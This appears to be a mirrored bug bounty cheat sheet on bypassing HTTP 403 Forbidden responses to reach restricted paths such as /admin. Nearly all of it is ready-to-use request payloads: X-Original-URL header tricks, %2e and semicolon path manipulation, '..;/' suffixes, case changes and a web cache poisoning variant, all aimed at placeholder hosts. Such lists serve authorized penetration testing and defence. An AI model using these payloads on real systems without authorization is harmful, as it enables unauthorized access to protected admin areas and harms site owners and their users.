mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-28 23:25:26 +00:00
1.2 KiB
1.2 KiB
Bypass 403 (Forbidden)
- Using "X-Original-URL" header
GET /admin HTTP/1.1
Host: target.com
Try this to bypass
GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin
- Appending %2e after the first slash
http://target.com/admin => 403
Try this to bypass
http://target.com/%2e/admin => 200
- Try add dot (.) slash (/) and semicolon (;) in the URL
http://target.com/admin => 403
Try this to bypass
http://target.com/secret/. => 200
http://target.com//secret// => 200
http://target.com/./secret/.. => 200
http://target.com/;/secret => 200
http://target.com/.;/secret => 200
http://target.com//;//secret => 200
- Add "..;/" after the directory name
http://target.com/admin
Try this to bypass
http://target.com/admin..;/
- Try to uppercase the alphabet in the url
http://target.com/admin
Try this to bypass
http://target.com/aDmIN
- Via Web Cache Poisoning
GET /anything HTTP/1.1
Host: victim.com
X-Original-URL: /admin